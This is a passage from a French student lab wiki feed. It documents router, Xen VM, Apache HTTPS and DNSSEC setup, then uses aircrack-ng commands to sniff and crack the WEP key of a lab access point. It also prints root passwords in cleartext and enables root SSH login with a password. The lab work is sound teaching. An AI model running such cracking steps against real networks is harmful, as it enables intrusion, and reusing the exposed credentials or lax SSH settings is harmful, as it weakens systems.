   redistribute rip 1 metric 1&lt;br /&gt;
   redistribute static metric 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
======  Vers les commutateurs ======&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
   conf t&lt;br /&gt;
    &lt;br /&gt;
   interface Vlan1&lt;br /&gt;
   ip address 10.60.0.253 255.255.255.0&lt;br /&gt;
   exit&lt;br /&gt;
    &lt;br /&gt;
   interface Vlan2&lt;br /&gt;
   ip address 10.60.1.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B2::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B2::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 2 ip 10.60.1.252&lt;br /&gt;
   standby 2 preempt&lt;br /&gt;
   exit&lt;br /&gt;
     &lt;br /&gt;
   interface Vlan3&lt;br /&gt;
   ip address 10.60.2.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B3::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B3::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 3 ip 10.60.2.252&lt;br /&gt;
   standby 3 preempt&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface Vlan4&lt;br /&gt;
   ip address 10.60.3.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B4::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B4::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 4 ip 10.60.3.252&lt;br /&gt;
   standby 4 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan5&lt;br /&gt;
   ip address 10.60.4.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B5::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B5::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 5 ip 10.60.4.252&lt;br /&gt;
   standby 5 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan6&lt;br /&gt;
   ip address 10.60.5.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B6::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B6::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 6 ip 10.60.5.252&lt;br /&gt;
   standby 6 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan7&lt;br /&gt;
   ip address 10.60.6.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2201:660:4401:60B7::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2201:660:4401:60B7::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 7 ip 10.60.6.252&lt;br /&gt;
   standby 7 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan42&lt;br /&gt;
   ip address 193.48.57.174 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B1::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B1::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 42 ip 193.48.57.172&lt;br /&gt;
   standby 42 preempt&lt;br /&gt;
   exit&lt;br /&gt;
          &lt;br /&gt;
   interface Vlan130&lt;br /&gt;
   ip address 192.168.222.2 255.255.255.248&lt;br /&gt;
   ipv6 address FE80::42:3 link-local&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
==Sources==&lt;br /&gt;
https://rex.plil.fr/&lt;br /&gt;
&lt;br /&gt;
https://wiki-ima.plil.fr/mediawiki//index.php/Accueil&lt;br /&gt;
&lt;br /&gt;
https://tutofacile.org/2017/04/installation-configuration-bind/&lt;br /&gt;
&lt;br /&gt;
https://wiki.debian.org/fr/Bind9&lt;br /&gt;
&lt;br /&gt;
https://doc.ubuntu-fr.org/apache2&lt;br /&gt;
&lt;br /&gt;
https://doc.ubuntu-fr.org/aircrack-ng&lt;br /&gt;
&lt;br /&gt;
https://null-byte.wonderhowto.com/how-to/hack-like-pro-crack-passwords-part-4-creating-custom-wordlist-with-crunch-0156817/&lt;/div&gt;</summary>
		<author><name>Fcavalie</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:---sites%C3%A9curis%C3%A9.png&amp;diff=51597</id>
		<title>Fichier:---sitesécurisé.png</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:---sites%C3%A9curis%C3%A9.png&amp;diff=51597"/>
				<updated>2019-12-07T12:54:54Z</updated>
		
		<summary type="html">&lt;p&gt;Fcavalie : Site web avec certificat le petit cadenas vert ! On est safe :D&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Site web avec certificat le petit cadenas vert ! On est safe :D&lt;/div&gt;</summary>
		<author><name>Fcavalie</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2019/2020_G1&amp;diff=51596</id>
		<title>TP sysres IMA2a5 2019/2020 G1</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2019/2020_G1&amp;diff=51596"/>
				<updated>2019-12-07T12:54:12Z</updated>
		
		<summary type="html">&lt;p&gt;Fcavalie : /* Aperçu site web ima2a5-zerofun.site */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;''Maxime Hirt - Fabien Cavalier''&lt;br /&gt;
&lt;br /&gt;
==Présentation du Groupe et du projet==&lt;br /&gt;
Le groupe de projet est contitué de:&lt;br /&gt;
* Cavalier Fabien &lt;br /&gt;
* Hirt Maxime.&lt;br /&gt;
&lt;br /&gt;
Lors de ce projet nous allons devoir:&lt;br /&gt;
* Créer une architecture reseaux avec un système de redondance&lt;br /&gt;
* Créer une machine virtuel&lt;br /&gt;
* Parametrer des connections IPV6&lt;br /&gt;
* Effectuer un forcebrut sur une clé WEP et WPA&lt;br /&gt;
* Créer un systeme de stockage Raid5&lt;br /&gt;
* Cryptage de fichiers&lt;br /&gt;
&lt;br /&gt;
== Installation de la machine virtuelle avec xen ==&lt;br /&gt;
&lt;br /&gt;
===Connection à Corduan via ssh ===&lt;br /&gt;
 ssh root@cordouan.insecserv.deule.net&lt;br /&gt;
&lt;br /&gt;
===Création et initialisation de la machine virtuelle===&lt;br /&gt;
&lt;br /&gt;
'''Creation de la machine virtuelle'''&lt;br /&gt;
 xen-create-image --hostname=ima2a5-zerofun --dhcp --dir=/usr/local/xen --dist=ascii --apt-proxy=http://proxy.polytech-lille.fr:3128&lt;br /&gt;
&lt;br /&gt;
 xl create ima2a5-zerofun.cfg&lt;br /&gt;
&lt;br /&gt;
'''Modification du fichier de configuration de la VM'''&lt;br /&gt;
&lt;br /&gt;
 nano ima2a5-zerofun.cfg&lt;br /&gt;
&lt;br /&gt;
  #&lt;br /&gt;
  # Configuration file for the Xen instance ima2a5-zerofun, created&lt;br /&gt;
  # by xen-tools 4.7 on Fri Nov  8 08:57:54 2019.&lt;br /&gt;
  #&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Kernel + memory size&lt;br /&gt;
  #&lt;br /&gt;
  kernel      = '/boot/vmlinuz-4.9.0-6-amd64'&lt;br /&gt;
  extra       = 'elevator=noop'&lt;br /&gt;
  ramdisk     = '/boot/initrd.img-4.9.0-6-amd64'&lt;br /&gt;
  &lt;br /&gt;
  vcpus       = '1'&lt;br /&gt;
  memory      = '256'&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Disk device(s).&lt;br /&gt;
  #&lt;br /&gt;
  root        = '/dev/xvda2 ro'&lt;br /&gt;
  disk        = [&lt;br /&gt;
  'file:/usr/local/xen/domains/ima2a5-zerofun/disk.img,xvda2,w',&lt;br /&gt;
  'file:/usr/local/xen/domains/ima2a5-zerofun/swap.img,xvda1,w',&lt;br /&gt;
  ]&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Physical volumes&lt;br /&gt;
  #&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Hostname&lt;br /&gt;
  #&lt;br /&gt;
  name        = 'ima2a5-zerofun'&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Networking&lt;br /&gt;
  #&lt;br /&gt;
  dhcp        = 'dhcp'&lt;br /&gt;
  vif         = [ 'mac=00:16:3E:92:4D:4E, bridge=IMA2a5' ]&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Behaviour&lt;br /&gt;
  #&lt;br /&gt;
  on_poweroff = 'destroy'&lt;br /&gt;
  on_reboot   = 'restart'&lt;br /&gt;
  on_crash    = 'restart'&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
'''Lancement de la VM'''&lt;br /&gt;
 xl console ima2a5-zerofun&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Récupération du mot de passe'''&lt;br /&gt;
 cat /var/log/xen-tools/ima2a5-zerofun.log | grep Password&lt;br /&gt;
 &amp;gt;&amp;gt;Root Password   :  a7a5eajZ5uCpXrZXWQ9esTT&lt;br /&gt;
&lt;br /&gt;
On peut ensuite modifier le mot de passe avec ''passwd''    -&amp;gt; ''glopglop''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Configuration de la machine virtuelle pour que var et home soient des partitions de l'hôte'''&lt;br /&gt;
    lvcreate -L10G -n ima2a5-zerofun-home virtual&lt;br /&gt;
    lvcreate -L10G -n ima2a5-zerofun-var virtual&lt;br /&gt;
&lt;br /&gt;
    mke2fs /dev/virtual/ima2a5-zerofun-home&lt;br /&gt;
    mke2fs /dev/virtual/ima2a5-zerofun-var&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Modification du fichier de config'''&lt;br /&gt;
&lt;br /&gt;
    disk    	= [&lt;br /&gt;
                  	'file:/usr/local/xen/domains/ima2a5-rex4ever/disk.img,xvda2,w',&lt;br /&gt;
                  	'file:/usr/local/xen/domains/ima2a5-rex4ever/swap.img,xvda1,w',               &lt;br /&gt;
                       'phy:/dev/virtual/ima2a5-zerofun-home,xvdb1,w',&lt;br /&gt;
                       'phy:/dev/virtual/ima2a5-zerofun-var,xvdb2,w',&lt;br /&gt;
                 ]&lt;br /&gt;
&lt;br /&gt;
===Autorisation de l'accès à notre machine virtuelle via le protocole SSH===&lt;br /&gt;
&lt;br /&gt;
On regarde si le package openssh-server est installé&lt;br /&gt;
 ssh -V&lt;br /&gt;
 &lt;br /&gt;
S'il ne l'est pas, alors on l'installe :  &lt;br /&gt;
 root@ima2a5-zerofun:~# apt install openssh-server&lt;br /&gt;
 root@ima2a5-zerofun:~# ssh -V&lt;br /&gt;
 OpenSSH_7.4p1 Debian-10+deb9u7, OpenSSL 1.0.2s  28 May 2019&lt;br /&gt;
&lt;br /&gt;
Ensuite on peut modifier le fichier de configuration du serveur SSH pour autoriser ou non certains types d'accès : &lt;br /&gt;
 nano /etc/ssh/sshd_config&lt;br /&gt;
 PermitRootLogin yes // Permet l'accès direct en root&lt;br /&gt;
 PubkeyAuthentication yes // Permet de s'identifier via une clé publique&lt;br /&gt;
 PasswordAuthentication yes // Permet de s'identifier via un identifiant et un mot de passe&lt;br /&gt;
 X11Forwarding yes  //Permet de faire un déport d'affichage si on utilise une application avec interface graphique par exemple&lt;br /&gt;
&lt;br /&gt;
Après avoir configuré le fichier de config, il faut redémarrer le service afin de prendre en compte les nouveaux paramètres:&lt;br /&gt;
 root@ima2a5-zerofun:~# service ssh restart&lt;br /&gt;
 [ ok ] Restarting OpenBSD Secure Shell server: sshd.&lt;br /&gt;
&lt;br /&gt;
Pour être sûr que le SSH est fonctionnel on teste l'état du service :&lt;br /&gt;
 root@ima2a5-zerofun:~# service ssh status&lt;br /&gt;
 [ ok ] sshd is running.&lt;br /&gt;
&lt;br /&gt;
On est bon, on peut maintenant se connecter à notre machine virtuelle autrement qu'en utilisant le xl console, ce qui permet notamment de se connecter à plusieurs simultanément. &lt;br /&gt;
&lt;br /&gt;
RAPPEL password : glopglop&lt;br /&gt;
&lt;br /&gt;
Depuis Cordouan : &lt;br /&gt;
 root@cordouan:~# ssh 193.48.57.161&lt;br /&gt;
 root@193.48.57.161's password: &lt;br /&gt;
 Linux ima2a5-zerofun 4.9.0-6-amd64 x86_64 GNU/Linux&lt;br /&gt;
 The programs included with the Devuan GNU/Linux system are free software;&lt;br /&gt;
 the exact distribution terms for each program are described in the&lt;br /&gt;
 individual files in /usr/share/doc/*/copyright.&lt;br /&gt;
 Devuan GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent&lt;br /&gt;
 permitted by applicable law.&lt;br /&gt;
 Last login: Fri Dec  6 22:31:26 2019 from 172.26.64.12&lt;br /&gt;
 root@ima2a5-zerofun:~#&lt;br /&gt;
&lt;br /&gt;
Depuis une Zabeth : &lt;br /&gt;
 pifou@zabeth30:~$ ssh root@193.48.57.161&lt;br /&gt;
 The authenticity of host '193.48.57.161 (193.48.57.161)' can't be established.&lt;br /&gt;
 ECDSA key fingerprint is SHA256:Fgo5SXYG5+Qyf3O8TwYJQv42SazTJU0Iidw26H6FUaE.&lt;br /&gt;
 Are you sure you want to continue connecting (yes/no)? y&lt;br /&gt;
 Please type 'yes' or 'no': yes&lt;br /&gt;
 Warning: Permanently added '193.48.57.161' (ECDSA) to the list of known hosts.&lt;br /&gt;
 root@193.48.57.161's password: &lt;br /&gt;
 Linux ima2a5-zerofun 4.9.0-6-amd64 x86_64 GNU/Linux&lt;br /&gt;
 Last login: Fri Dec  6 22:54:41 2019 from 172.26.64.12&lt;br /&gt;
 root@ima2a5-zerofun:~#&lt;br /&gt;
&lt;br /&gt;
== Site web ==&lt;br /&gt;
On souhaite réaliser un site web. Pour cela, il est nécessaire de configurer le serveur qui attendra les connexions et les demandes et enverra le contenu souhaité.  On utilisera le plus connu de tous, le serveur HTTP Apache2. &lt;br /&gt;
&lt;br /&gt;
===Installation et configuration du serveur Apache2===&lt;br /&gt;
&lt;br /&gt;
Installer Apache2 &lt;br /&gt;
 apt install apache2&lt;br /&gt;
&lt;br /&gt;
====Protocole HTTP====&lt;br /&gt;
&lt;br /&gt;
Si on désire dans un premier temps simplement utiliser le protocole HTTP, on va créer un fichier .conf dans le répertoire /etc/apache2/sites-available &lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# cat ima2a5-zerofun.site.conf&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost *:80&amp;gt; //Le port 80 est dédié au protocole HTTP&lt;br /&gt;
       ServerName ima2a5-zerofun.site&lt;br /&gt;
       ServerAlias www.ima2a5-zerofun.site&lt;br /&gt;
       DocumentRoot &amp;quot;/var/www/ima2a5-zerofun&amp;quot;&lt;br /&gt;
       &amp;lt;Directory &amp;quot;/var/www/ima2a5-zerofun&amp;quot;&amp;gt;&lt;br /&gt;
               Options +FollowSymLinks&lt;br /&gt;
               AllowOverride all&lt;br /&gt;
               Require all granted&lt;br /&gt;
       &amp;lt;/Directory&amp;gt;&lt;br /&gt;
       ErrorLog /var/log/apache2/error.ima2a5-zerofun.site.log&lt;br /&gt;
       CustomLog /var/log/apache2/access.ima2a5-zerofun.site.com.log combined&lt;br /&gt;
   &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Protocole HTTPS====&lt;br /&gt;
&lt;br /&gt;
Si maintenant, on souhaite &amp;lt;&amp;lt;sécuriser&amp;gt;&amp;gt; notre site web, on peut ajouter une couche de chiffrement SSL et utiliser donc le protocole HTTPS. On va alors modifier notre fichier .conf. On va également rediriger automatiquement les demandes envoyées à http://www.ima2a5-zerofun.site vers https://www.ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
       ServerName ima2a5-zerofun.site&lt;br /&gt;
       ServerAlias www.ima2a5-zerofun.site&lt;br /&gt;
       DocumentRoot &amp;quot;/var/www/ima2a5-zerofun&amp;quot;&lt;br /&gt;
       Redirect permanent / https://ima2a5-zerofun.site   //Permet de rediriger vers https://ima2a5-zerofun.site&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
  //-----------------------------------------------------------------------------------------------------------------//&lt;br /&gt;
  &amp;lt;VirtualHost *:443&amp;gt; //port dédié au protocole HTTPS&lt;br /&gt;
        DocumentRoot &amp;quot;/var/www/ima2a5-zerofun&amp;quot; //permet de récupérer notre page HTML stockée dans /var/www/ima2a5-zerofun&lt;br /&gt;
        ServerName ima2a5-zerofun.site //Définit le nom d'hote que le serveur va utiliser pour s'identifier&lt;br /&gt;
        ServerAlias www.ima2a5-zerofun.site //Permet de dire que ce nom aboutira également à notre site&lt;br /&gt;
        ServerAdmin fabien.cavalier@polytech-lille.net&lt;br /&gt;
                &amp;lt;Directory /var/www/ima2a5-zerofun&amp;gt;&lt;br /&gt;
                        Options -Indexes +FollowSymLinks +MultiViews&lt;br /&gt;
                        AllowOverride none&lt;br /&gt;
                        Require all granted&lt;br /&gt;
                &amp;lt;/Directory&amp;gt;&lt;br /&gt;
        ErrorLog /var/log/apache2/error.ima2a5-zerofun.site-secu.log&lt;br /&gt;
        CustomLog /var/log/apache2/access.ima2a5-zerofun.site-secu.log combined&lt;br /&gt;
         # Activation du SSL&lt;br /&gt;
        SSLEngine On&lt;br /&gt;
        ServerAlias www.ima2a5-zerofun.site&lt;br /&gt;
        SSLProtocol All -SSLv3 -SSLv2&lt;br /&gt;
        SSLHonorCipherOrder on&lt;br /&gt;
   SSLCertificateFile &amp;quot;/etc/apache2/certificate/ima2a5-zerofun.crt&amp;quot;&lt;br /&gt;
   SSLCACertificateFile &amp;quot;/etc/apache2/certificate/ima2a5-zerofun.pem&amp;quot;&lt;br /&gt;
   SSLCertificateKeyFile &amp;quot;/etc/apache2/certificate/ima2a5-zerofun.key&amp;quot;&lt;br /&gt;
   &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Une fois notre .conf établi, on doit désactiver la configuration générée par défaut par Apache2 et activer notre configuration : &lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# a2dissite 000-default.conf //Stopper la configuration par défaut&lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# a2ensite ima2a5-zerofun.site //Lancer notre configuration&lt;br /&gt;
&lt;br /&gt;
On active le protocole SSL via &lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# a2enmode ssl&lt;br /&gt;
Puis on relance le serveur Apache2&lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# service apache2 restart&lt;br /&gt;
 [ ok ] Restarting Apache httpd web server: apache2.&lt;br /&gt;
&lt;br /&gt;
On peut vérifier notre configuration : &lt;br /&gt;
&lt;br /&gt;
 root@ima2a5-zerofun:/etc/bind# apache2ctl -S&lt;br /&gt;
&lt;br /&gt;
 VirtualHost configuration:&lt;br /&gt;
 *:80                   www.ima2a5-zerofun.site (/etc/apache2/sites-enabled/ima2a5-zerofun.site-secu.conf:1)&lt;br /&gt;
 *:443                  www.ima2a5-zerofun.site (/etc/apache2/sites-enabled/ima2a5-zerofun.site-secu.conf:8)&lt;br /&gt;
 ServerRoot: &amp;quot;/etc/apache2&amp;quot;&lt;br /&gt;
 Main DocumentRoot: &amp;quot;/var/www/html&amp;quot;&lt;br /&gt;
 Main ErrorLog: &amp;quot;/var/log/apache2/error.log&amp;quot;&lt;br /&gt;
 Mutex watchdog-callback: using_defaults&lt;br /&gt;
 Mutex ssl-stapling-refresh: using_defaults&lt;br /&gt;
 Mutex ssl-stapling: using_defaults&lt;br /&gt;
 Mutex ssl-cache: using_defaults&lt;br /&gt;
 Mutex default: dir=&amp;quot;/var/run/apache2/&amp;quot; mechanism=default &lt;br /&gt;
 PidFile: &amp;quot;/var/run/apache2/apache2.pid&amp;quot;&lt;br /&gt;
 Define: DUMP_VHOSTS&lt;br /&gt;
 Define: DUMP_RUN_CFG&lt;br /&gt;
 User: name=&amp;quot;www-data&amp;quot; id=33&lt;br /&gt;
 Group: name=&amp;quot;www-data&amp;quot; id=33&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====Gestion des certificats====&lt;br /&gt;
&lt;br /&gt;
Gandi nous a fourni la clé intermédiaire (ima2a5-zerofun.pem) , le certificat (ima2a5-zerofun.crt) et on a généré la clé privée (.key) avec openssl &lt;br /&gt;
&lt;br /&gt;
 # openssl req -nodes -newkey rsa:2048 -sha256 -keyout ima2a5-zerofun.key -out ima2a5-zerofun.csr &lt;br /&gt;
&lt;br /&gt;
On places ces fichiers dans /etc/apache2/certificate   pour pouvoir les utiliser dans notre fichier de configuration.&lt;br /&gt;
&lt;br /&gt;
====Aperçu site web ima2a5-zerofun.site====&lt;br /&gt;
&lt;br /&gt;
www.ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
http://ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
https://ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
 [[Fichier:---home-fabien-Images-site web cav hirt.png]]&lt;br /&gt;
&lt;br /&gt;
 [[Fichier:---sitesécurisé.png]]&lt;br /&gt;
&lt;br /&gt;
===Mise en place du serveur DNSSEC avec bind9===&lt;br /&gt;
Le serveur DNS (Domain Name Server) permet d'associer à une adresse IP, un nom de domaine. Ainsi, pour rechercher un serveur, on donnera son nom plutôt que son adresse IP.&lt;br /&gt;
Pour mettre en place ce DNS, on va utiliser le logiciel open source bind9.&lt;br /&gt;
&lt;br /&gt;
====Installation et paramétrage de bind9====&lt;br /&gt;
&lt;br /&gt;
'''Installer bind9'''&lt;br /&gt;
&lt;br /&gt;
 # apt-get install bind9&lt;br /&gt;
&lt;br /&gt;
'''Génération des clés '''&lt;br /&gt;
 &lt;br /&gt;
 dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE ima2a5-zerofun.site&lt;br /&gt;
 dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
'''Signature de la zone'''&lt;br /&gt;
&lt;br /&gt;
 dnssec-signzone -o ima2a5-zerofun.site -k ima2a5-zerofun.site-ksk ../ima2a5-zerofun.site ima2a5-zerofun.site-zsk&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Il faut paramétrer bind9. &lt;br /&gt;
D'abord le fichier .conf qui permet de définir les zones de résolution de DNS. &lt;br /&gt;
 &lt;br /&gt;
 #nano /etc/bind/named.conf.local&lt;br /&gt;
&lt;br /&gt;
 //Zone de resolution du domaine ima2a5-zerofun.site&lt;br /&gt;
 zone &amp;quot;ima2a5-zerofun.site&amp;quot; {&lt;br /&gt;
 type master;&lt;br /&gt;
 file &amp;quot;/etc/bind/ima2a5-zerofun.site.signed&amp;quot;;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Le second fichier à paramétrer est le .conf.options, il contient l'ensemble des options de configurations du serveur DNS&lt;br /&gt;
&lt;br /&gt;
 root@ima2a5-zerofun:/etc/bind# cat named.conf.options &lt;br /&gt;
 options {&lt;br /&gt;
 directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
 dnssec-validation auto;&lt;br /&gt;
 dnssec-enable yes;&lt;br /&gt;
 dnssec-lookaside auto;&lt;br /&gt;
 auth-nxdomain no;    # conform to RFC1035&lt;br /&gt;
 listen-on-v6 { any; };&lt;br /&gt;
 allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;; };&lt;br /&gt;
 };&lt;br /&gt;
 acl &amp;quot;allowed_to_transfer&amp;quot; { &lt;br /&gt;
 217.70.177.40/32;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Enfin, le fichier qui va configurer les zones de résolution&lt;br /&gt;
&lt;br /&gt;
root@ima2a5-zerofun:/etc/bind# cat ima2a5-zerofun.site&lt;br /&gt;
 &lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 $include /etc/bind/ima2a5-zerofun.site.dnssec/ima2a5-zerofun.site-ksk.key&lt;br /&gt;
 $include /etc/bind/ima2a5-zerofun.site.dnssec/ima2a5-zerofun.site-zsk.key&lt;br /&gt;
 @       IN      SOA     dns.ima2a5-zerofun.site. root@ima2a5-zerofun.site. (&lt;br /&gt;
                        26112021        ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      dns.ima2a5-zerofun.site.&lt;br /&gt;
 @       IN      NS      ns-9-b.gandi.net.&lt;br /&gt;
 @	IN	NS	ns6.gandi.net.&lt;br /&gt;
 @	IN	A	193.48.57.161&lt;br /&gt;
 dns     IN      A       193.48.57.161&lt;br /&gt;
 www     IN      A       193.48.57.161   &lt;br /&gt;
 info09  IN      TXT     &amp;quot;Micral&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Notre DNS est maintenant configuré, on relance le service bind9&lt;br /&gt;
 &lt;br /&gt;
 # service bind9 restart&lt;br /&gt;
&lt;br /&gt;
====Gestion des DNS sur gandi.net====&lt;br /&gt;
&lt;br /&gt;
Ajout des DNS sur gandi.net : &lt;br /&gt;
&lt;br /&gt;
On a notre serveur de noms principal : dns.ima2a5-zerofun.site &lt;br /&gt;
&lt;br /&gt;
Ainsi que le serveur de nom secondaire, celui de Gandi : ns6.gandi.net   qui supporte les zones DNSSEC&lt;br /&gt;
&lt;br /&gt;
 [[Fichier:DNSGandi.png]]&lt;br /&gt;
&lt;br /&gt;
Attribution de l'adresse IP de notre DNS principal par le biais d'un Glue record sur le site gandi.net:&lt;br /&gt;
 [[Fichier:GlueRecord.png]]&lt;br /&gt;
&lt;br /&gt;
==Attaque Wifi==&lt;br /&gt;
===Installation de l'utilitaire AirCrack===&lt;br /&gt;
Pour installer l'utilitaire qui va nous permettre de d'attaquer les clés WEP et WPA2-PSK&lt;br /&gt;
 apt-get install aircrack-ng&lt;br /&gt;
===Cassage WEP===&lt;br /&gt;
&lt;br /&gt;
'''Lister les interfaces sans fil disponibles'''&lt;br /&gt;
&lt;br /&gt;
 # airmon-ng &lt;br /&gt;
 &amp;gt;&amp;gt; phy0 wlx40a5ef0f679b rt2800usb Ralink Technology, Corp. RT5370&lt;br /&gt;
&lt;br /&gt;
'''Passage de la carte wifi en mode moniteur'''&lt;br /&gt;
&lt;br /&gt;
On souhaite dédier notre clé wifi au sniffage du réseau sans fil. Pour cela, on la passe en mode &amp;lt;&amp;lt;moniteur&amp;gt;&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
 # airmon-ng start wlx40a5ef0f679b     //wlx40a5ef0f679b est le nom de notre interface sans fil. Souvent le pc la renomme en wlan0mon ou autre standard mais cette fois,il ne l'a pas fait. Je ne sais pas pourquoi, mais ce n'est pas grave. &lt;br /&gt;
&lt;br /&gt;
'''Ecoute des trames Wifi sur le canal 2'''&lt;br /&gt;
&lt;br /&gt;
On peut alors sniffer tout ce qui se passe sur le canal 2&lt;br /&gt;
&lt;br /&gt;
 # airodump-ng --encrypt wep -c 2 wlx40a5ef0f679b &lt;br /&gt;
&lt;br /&gt;
Cela nous permet de récupérer le BSSID de notre cracotte01 &lt;br /&gt;
BSSID : 04:DA:D2:9C:50:50&lt;br /&gt;
&lt;br /&gt;
'''Récupération des datas échangées sur le réseau Wifi'''&lt;br /&gt;
&lt;br /&gt;
Puis on va récupérer toutes les données qui transitent sur ce canal en se concentrant uniquement sur les paquets échangés avec notre cracotte01.  &lt;br /&gt;
&lt;br /&gt;
 # airodump-ng -c -2 --bssid 04:DA:D2:9C:50:50 -w data.txt wlx40a5ef0f679b&lt;br /&gt;
&lt;br /&gt;
'''Décryptage de la clé WEP'''&lt;br /&gt;
&lt;br /&gt;
Enfin, on ouvre un autre terminal dans lequel on lance la commande &lt;br /&gt;
 # aircrack-ng -b 04:DA:D2:9C:50:50 data*.cap &lt;br /&gt;
&lt;br /&gt;
Au bout d'une dizaine de minutes (au moins), on obtient la clé ! &lt;br /&gt;
 [[Fichier:Aircrack.png]]&lt;br /&gt;
&lt;br /&gt;
===Cassage WPA2-PSK===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
D'abord on va lister les interfaces WiFi de notre machine avec la commande &lt;br /&gt;
